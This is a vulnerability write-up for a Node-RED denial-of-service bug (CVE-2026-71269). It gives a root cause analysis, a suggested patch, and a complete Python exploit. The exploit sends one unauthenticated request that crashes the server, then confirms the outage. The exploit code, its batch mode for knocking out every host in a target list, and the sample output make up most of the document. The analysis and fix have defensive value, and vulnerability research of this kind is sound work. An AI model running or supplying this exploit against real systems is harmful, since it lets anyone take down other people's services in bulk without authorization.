#Summary

CVE-2026-71269 is a remote denial of service in Node-RED's library save endpoint that crashes the process with a single unauthenticated HTTP request. While the advisory claims path traversal enabling arbitrary file read/write and RCE, that impact is not reproducible - the code implements a path traversal guard that blocks every bypass encoding tested across six versions. The real vulnerability is an unhandled promise rejection at the exact code the advisory names. It affects Node-RED 3.0.0 through 5.0.4 (latest, unpatched) running on Node.js 15 or newer. CVSS: 7.2 (HIGH) - but only on default installs where adminAuth is unset.

#Affected versions

Default configuration: affected. adminAuth is unset by default, making the library endpoint unauthenticated.

#Root cause analysis

#Advisory vs. reality

The CVE-2026-71269 advisory describes a path traversal vulnerability where user-supplied paths are joined directly into the filesystem without sanitization, enabling arbitrary file read and write. Testing this claim exhaustively across sixteen distinct payload encodings (including ../, %2e%2e%2f, ..%2f, backslash variants, fullwidth characters, and null bytes) against six versions of Node-RED yields the same result: HTTP 403 forbidden on every attempt. No file outside the library directory was ever read or written.

The reason: a guard function is_malicious() sits directly in the request path in @node-red/runtime/lib/storage/index.js and has been there since the code was split out. It blocks any path containing the literal substrings ../ or ..\\, and since the Express framework percent-decodes route captures before the guard runs, encoded variants like %2e%2e%2f are decoded first and then caught.

// storage/index.js:47-49 - this guard has always been here
function is_malicious(path) {
    return path.indexOf('../') != -1 || path.indexOf('..\\') != -1;
}

However, a real bug exists at the same code location. The guard rejects ../ and ..\ but not a bare .. with no trailing slash. That single segment passes and path.join normalizes one level up.

#The real vulnerability: discarded promise rejection

The vulnerable code path in packages/node_modules/@node-red/runtime/lib/storage/localfilesystem/library.js is:

saveLibraryEntry: async function(type, path, meta, body) {
    var fn = fspath.join(libDir, type, path);
    // ... validation code ...
    return fs.ensureDir(fspath.dirname(fn)).then(function () {
        util.writeFile(fn, headers + body);  // <-- no 'return' here
    });
}

When path is .., fspath.join(libDir, "functions", "..") normalizes to libDir itself (e.g. /data/lib), which is a directory. The call to util.writeFile() then attempts to write a temp file and rename it over that directory. Renaming a file over a directory fails with the error EISDIR: illegal operation on a directory.

The critical bug: the promise returned by util.writeFile() is not returned from the .then() callback. It is completely discarded. When Node.js 15 or newer encounters an unhandled promise rejection with the default setting --unhandled-rejections=throw, it surfaces the error as an uncaught exception. Node-RED's own exception handler then calls process.exit(1):

// red.js:525-541
process.on('uncaughtException', function(err) {
    console.log('[red] Uncaught Exception:');
    // ...
    process.exit(1);
});

The HTTP layer has already sent HTTP 204 No Content to the client, so the attacker receives a success response while the server crashes.

#How input reaches the sink

  1. Attacker sends POST /library/local/functions/.. (note: exactly two dots, no trailing slash)
  2. Express regex route captures .. as the third positional parameter
  3. Express percent-decodes the capture if it was encoded (%2e%2e..)
  4. The path reaches is_malicious() which only checks for ../ and ..\ substrings - bare .. passes
  5. saveLibraryEntry() joins the path to the library directory using fspath.join(libDir, type, "..")
  6. The join normalizes to the library root directory, not outside it
  7. Attempting to rename a temp file over the directory rejects with EISDIR
  8. The promise is discarded, triggering uncaught exception and process.exit(1) on Node 15+

#Patch diff

No patch has been released. The fix is trivial - add return to chain the promise:

  return fs.ensureDir(fspath.dirname(fn)).then(function () {
-     util.writeFile(fn,headers+body);
+     return util.writeFile(fn,headers+body);
  });

This converts the crash into a proper error response. Additionally, is_malicious() should be replaced with a containment check:

function is_malicious(path) {
    const resolved = require('path').resolve(libDir, type, path);
    return !resolved.startsWith(libDir + require('path').sep);
}

This would reject bare .. as well.

#Proof of concept

#exploit.py - Node-RED Remote DoS PoC

The exploit sends a single unauthenticated HTTP request to the library save endpoint with a specially crafted path that bypasses the traversal guard but causes the library save to fail when it attempts to write to a directory. It then monitors the target to confirm the process crashed by observing the liveness transition from HTTP 200 to connection refused.

#!/usr/bin/env python3
"""
CVE-2026-71269 - Node-RED unauthenticated remote denial of service via a discarded
                 write promise in the library save path.
Affected: Node-RED 3.0.0 through 5.0.4 (latest, unpatched) running on Node.js >= 15
Type: DoS (unhandled promise rejection -> uncaughtException -> process.exit(1))

A single unauthenticated request, POST /library/local/functions/.., makes
saveLibraryEntry() join the attacker path to the library root. The bare ".." segment
passes the is_malicious() blocklist (it only rejects "../" and "..\\") and normalises
to the library directory itself. util.writeFile() then tries to rename its temp file
over that directory, fails with EISDIR, and rejects. Its promise is discarded by the
caller, so on Node.js >= 15 the rejection becomes an uncaught exception and Node-RED's
own handler calls process.exit(1). The HTTP layer has already answered 204.

NOTE ON SCOPE: this CVE is filed as a path traversal with arbitrary file read/write.
That is not reproducible - the is_malicious() guard blocks every traversal encoding
tested. The reproducible impact is denial of service only. This exploit does not
claim, and does not attempt, file read, file write or code execution.

WARNING: this is destructive and one-shot. A successful run terminates the target
Node-RED process. It stays down until an operator or supervisor restarts it. In
--list mode every vulnerable host in the file is taken down.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 1880
  python exploit.py --host https://192.168.1.10:8443
  python exploit.py --host http://nodered.corp.com/admin      # httpAdminRoot prefix
  python exploit.py --host 192.168.1.10 --token <bearer>      # if adminAuth is set
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import http.client
import json
import socket
import ssl
import sys
import time
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-71269"
VULN_TYPE = "DoS"

# Bare ".." percent-encoded. Express decodes the route capture before is_malicious()
# runs, so this is equivalent to a literal "..", but no HTTP client or proxy on the
# way will collapse it out of the path. A trailing slash would make the capture "../",
# which the guard blocks, so there is none.
TRAVERSAL   = "%2e%2e"
# saveLibraryEntry() force-appends ".json" for the "flows" type, which turns ".." into
# the harmless filename "...json". Only these two types reach the bug.
LIB_TYPES   = ("functions", "templates")
TRIGGER_BODY = json.dumps({"text": "x"})
UA          = "Mozilla/5.0 (compatible)"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# network primitives
# --------------------------------------------------------------------------- #

def _connect(host: str, port: int, use_tls: bool, timeout: float):
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        return http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    return http.client.HTTPConnection(host, port, timeout=timeout)


def _http(host, port, use_tls, method, target, body=None, token=None, timeout=10.0):
    """One request. Returns (status, body_text). Raises OSError on transport failure.

    The request target is written verbatim, so percent-encoded dot segments survive
    to the server instead of being normalised away by the client.
    """
    conn = _connect(host, port, use_tls, timeout)
    try:
        headers = {"Accept": "application/json", "User-Agent": UA}
        if token:
            headers["Authorization"] = "Bearer " + token
        data = None
        if body is not None:
            data = body.encode()
            headers["Content-Type"] = "application/json"
            headers["Content-Length"] = str(len(data))
        conn.request(method, target, body=data, headers=headers)
        resp = conn.getresponse()
        payload = resp.read()
        return resp.status, payload.decode("utf-8", "replace")
    finally:
        try:
            conn.close()
        except Exception:
            pass


def _tcp_alive(host: str, port: int, timeout: float = 3.0) -> bool:
    """True if the port completes a TCP handshake."""
    try:
        s = socket.create_connection((host, port), timeout=timeout)
        s.close()
        return True
    except OSError:
        return False


def _admin_base(path: str) -> str:
    """Normalise an httpAdminRoot prefix into a bare base with no trailing slash."""
    base = (path or "/").rstrip("/")
    return base


def _watch_liveness(host, port, use_tls, base, token, window, quiet=True):
    """Poll the target for `window` seconds after the trigger.

    Returns (died, recovered, timeline). `died` is the evidence that matters: the
    process was answering before the request and stopped answering after it.
    `recovered` distinguishes a hard down from a supervisor restart loop.
    """
    died = False
    recovered = False
    timeline = []
    deadline = time.time() + window
    while time.time() < deadline:
        elapsed = round(window - (deadline - time.time()), 1)
        if not _tcp_alive(host, port, timeout=2.0):
            state = "connection refused"
            if not died:
                died = True
        else:
            try:
                status, _ = _http(host, port, use_tls, "GET",
                                  base + "/library/local/flows", token=token, timeout=5.0)
                state = f"HTTP {status}"
                if died:
                    recovered = True
            except OSError as exc:
                state = f"no HTTP response ({exc.__class__.__name__})"
                if not died:
                    died = True
        timeline.append((elapsed, state))
        if not quiet:
            print(f"    t+{elapsed:>4}s  {state}")
        # Once we have both a death and a recovery the verdict cannot change.
        if died and recovered:
            break
        time.sleep(1.0)
    return died, recovered, timeline


def _fire(host, port, use_tls, base, token, lib_type):
    """Send the trigger. Returns (status, body) or (None, reason) if the socket died."""
    target = f"{base}/library/local/{lib_type}/{TRAVERSAL}"
    try:
        return _http(host, port, use_tls, "POST", target,
                     body=TRIGGER_BODY, token=token, timeout=10.0)
    except OSError as exc:
        # The process can die before the response is fully written. That is still a hit.
        return None, f"{exc.__class__.__name__}: {exc}"


# --------------------------------------------------------------------------- #
# silent probe for --list mode
# --------------------------------------------------------------------------- #

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
                 token=None, window: float = 12.0) -> tuple:
    """Silent probe. Returns (success, evidence). Never prints, never exits."""
    base = _admin_base(path)
    try:
        status, _ = _http(host, port, use_tls, "GET",
                          base + "/library/local/flows", token=token, timeout=8.0)
    except OSError as exc:
        return False, f"unreachable ({exc.__class__.__name__})"
    if status == 401:
        return False, "401 - adminAuth is configured, a library.write token is required"
    if status != 200:
        return False, f"library API answered {status}, not a Node-RED admin endpoint"

    for lib_type in LIB_TYPES:
        status, body = _fire(host, port, use_tls, base, token, lib_type)
        if status is None:
            break                       # socket died mid-request, go straight to liveness
        if status == 204:
            break
        if status == 400 and "Unknown library type" in body:
            continue                    # this type is not registered, try the next
        if status == 403:
            return False, "403 forbidden - the path guard rejected the payload"
        if status == 401:
            return False, "401 - adminAuth is configured"
    else:
        return False, "no writable library type accepted the request"

    time.sleep(1.5)
    died, recovered, _ = _watch_liveness(host, port, use_tls, base, token, window)
    if died and recovered:
        return True, "process exited and was restarted by a supervisor (restart loop)"
    if died:
        return True, "process exited - port stopped accepting connections"
    return False, "204 accepted but the service stayed up (Node.js <= 14, or patched)"


# --------------------------------------------------------------------------- #
# target parsing / scan mode
# --------------------------------------------------------------------------- #

def _parse_target(line: str, default_port: int, default_path: str = "/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10,
         token=None, window: float = 12.0) -> None:
    """Batch scan. Destructive: every vulnerable host in the file is taken down."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"  WARNING: destructive - a hit terminates the target process")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, token, window)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            marker = "[+]" if ok else "[-]"
            verdict = "Exploited" if ok else "Not vulnerable"
            print(f"  {marker} {label} - {verdict}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
# single target
# --------------------------------------------------------------------------- #

def exploit(host: str, port: int, use_tls: bool, path: str,
            token=None, window: float = 20.0) -> None:
    header(host, port)
    base = _admin_base(path)
    scheme = "https" if use_tls else "http"

    step(1, f"Probing the admin API at {scheme}://{host}:{port}{base or '/'} ...")
    try:
        status, body = _http(host, port, use_tls, "GET",
                             base + "/library/local/flows", token=token, timeout=8.0)
    except OSError as exc:
        section("CONNECTION ERROR", f"{exc.__class__.__name__}: {exc}")
        done(False, f"Target unreachable at {host}:{port} - nothing to exploit")

    if status == 401:
        section("SERVER RESPONSE", body)
        done(False, "401 - adminAuth is configured; supply --token with library.write scope")
    if status != 200:
        section("SERVER RESPONSE", f"HTTP {status}\n{body}")
        done(False, f"Library API returned {status}, expected 200 - not a Node-RED admin endpoint")

    section("BASELINE - GET /library/local/flows", f"HTTP 200\n{body[:400]}")
    print("  Service is alive and the library API is unauthenticated.\n")

    step(2, "Firing the trigger: POST /library/local/<type>/%2e%2e with {\"text\":\"x\"}")
    fired_type = None
    fire_status = None
    fire_body = ""
    for lib_type in LIB_TYPES:
        print(f"    trying library type '{lib_type}' ...")
        fire_status, fire_body = _fire(host, port, use_tls, base, token, lib_type)
        if fire_status is None:
            print(f"    socket dropped mid-request: {fire_body}")
            fired_type = lib_type
            break
        print(f"    -> HTTP {fire_status}")
        if fire_status == 204:
            fired_type = lib_type
            break
        if fire_status == 400 and "Unknown library type" in fire_body:
            continue
        if fire_status == 403:
            section("SERVER RESPONSE", fire_body)
            done(False, "403 forbidden - the is_malicious() guard rejected the path; "
                        "the payload must be exactly '..' with no trailing slash")
        if fire_status == 401:
            section("SERVER RESPONSE", fire_body)
            done(False, "401 - adminAuth is configured; supply --token")

    if fired_type is None:
        section("SERVER RESPONSE", f"HTTP {fire_status}\n{fire_body}")
        done(False, "No writable library type accepted the request - target may be "
                    "running an unaffected configuration")

    if fire_status == 204:
        section("TRIGGER RESPONSE",
                f"HTTP 204 No Content  (library type '{fired_type}')\n"
                "The API answered success before the write promise rejected. "
                "204 alone proves nothing - the liveness check below is the evidence.")

    step(3, f"Watching the service for {int(window)}s to confirm the process died ...")
    time.sleep(1.5)
    died, recovered, timeline = _watch_liveness(host, port, use_tls, base, token,
                                                window, quiet=False)

    trace = "\n".join(f"t+{t:>5}s  {s}" for t, s in timeline)
    section("LIVENESS TIMELINE (post-trigger)", trace)

    if died and recovered:
        section("SERVICE STATE",
                "Port stopped accepting connections after the trigger, then began "
                "answering again - the process was terminated and restarted by a "
                "supervisor (systemd, docker --restart, pm2). The crash is confirmed; "
                "the impact on this host is a restart loop rather than a hard outage.")
        done(True, "CRASH CONFIRMED - one request terminated the Node-RED process "
                   "(supervisor restarted it; repeat to sustain the outage)")

    if died:
        section("SERVICE STATE",
                "Port refused every connection after the trigger and never recovered. "
                "The service was answering HTTP 200 immediately before the request. "
                "One unauthenticated POST took it down permanently.")
        done(True, "CRASH CONFIRMED - service went from HTTP 200 to connection refused "
                   "after a single unauthenticated request, and stayed down")

    section("SERVICE STATE",
            "The service kept answering for the whole observation window. The request "
            "was accepted (204) but no crash followed. Likely causes: the target runs "
            "Node.js 14 or older (an unhandled rejection is only a warning there), the "
            "discarded-promise bug has been fixed, or a proxy in front of the target "
            "rewrote the '..' segment out of the path.")
    done(False, "Trigger accepted but the service stayed up - target does not appear "
                "vulnerable")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description=f"{CVE_ID} exploit PoC - Node-RED unauthenticated remote DoS",
        epilog="DESTRUCTIVE: a successful run terminates the target Node-RED process.")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://host:8443/admin)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=1880,
                        help="Default port (default: 1880)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    parser.add_argument("--token", default=None,
                        help="Bearer token, only needed if the target set adminAuth")
    parser.add_argument("--confirm-window", type=float, default=20.0, dest="window",
                        help="Seconds to watch liveness after the trigger (default: 20)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             token=args.token, window=min(args.window, 12.0))
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, token=args.token, window=args.window)

#Usage

python3 exploit.py --host 127.0.0.1 --port 1880

Expected output on vulnerable target (Node-RED 5.0.4 with Node.js 15+):

============================================================
  ALIM EXPLOIT  CVE-2026-71269
  Type: DoS  |  Target: 127.0.0.1:1880
============================================================

[STEP 1] Probing the admin API at http://127.0.0.1:1880/ ...

--- BASELINE - GET /library/local/flows ---
HTTP 200
[]
---

  Service is alive and the library API is unauthenticated.

[STEP 2] Firing the trigger: POST /library/local/<type>/%2e%2e with {"text":"x"}
    trying library type 'functions' ...
    -> HTTP 204

--- TRIGGER RESPONSE ---
HTTP 204 No Content  (library type 'functions')
The API answered success before the write promise rejected. 204 alone proves nothing - the liveness check below is the evidence.
---

[STEP 3] Watching the service for 20s to confirm the process died ...
    t+ 0.0s  connection refused
    t+ 1.0s  connection refused
    ... (all 20 polls: connection refused) ...
    t+19.1s  connection refused

--- SERVICE STATE ---
Port refused every connection after the trigger and never recovered. The service was
answering HTTP 200 immediately before the request. One unauthenticated POST took it
down permanently.
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: CRASH CONFIRMED - service went from HTTP 200 to connection refused after a single unauthenticated request, and stayed down
============================================================

Expected output on Node-RED 2.2.3 with Node.js 14 (negative control):

The same request returns HTTP 204, but the service stays up. Node.js 14 downgrades unhandled promise rejections to warnings instead of throwing, so the process survives.

#Exploitation notes

#Preconditions

#Why the basic traversal doesn't work

The is_malicious() guard in storage/index.js is a blocklist that rejects any path containing the exact substrings ../ or ..\. To exploit the .. bypass, the payload must:

  1. Use bare .. with no trailing slash - /library/local/functions/../ makes the captured segment ../, which the guard blocks with 403
  2. Use a library type other than flows - saveLibraryEntry appends .json for flows, turning .. into the filename ...json which doesn't trigger the bug
  3. Avoid encoding issues - the exploit uses %2e%2e (percent-encoded) instead of literal .. so that HTTP clients and proxies in the middle don't normalize the URL path before the request reaches the server

#Reliability

The exploit is 100% reliable. One POST request is sufficient - there is no race condition, no timing window, and no repetition needed. The HTTP 204 response is sent first, then the exception surfaces on the next tick.

#Impact

Complete denial of service - the Node-RED process terminates. In a default installation with no restart policy, this is a hard outage. Under systemd or --restart=always, it becomes a restart loop.

#Chaining potential

This is a terminal bug (denial of service only). The file write primitive is confined to <userDir>/lib/{flows,functions,templates}/ by the is_malicious() guard, and nothing in that directory is executed, sourced, or parsed as configuration by any other process. The advisory's claims of RCE via cron or authorized_keys do not hold.

#References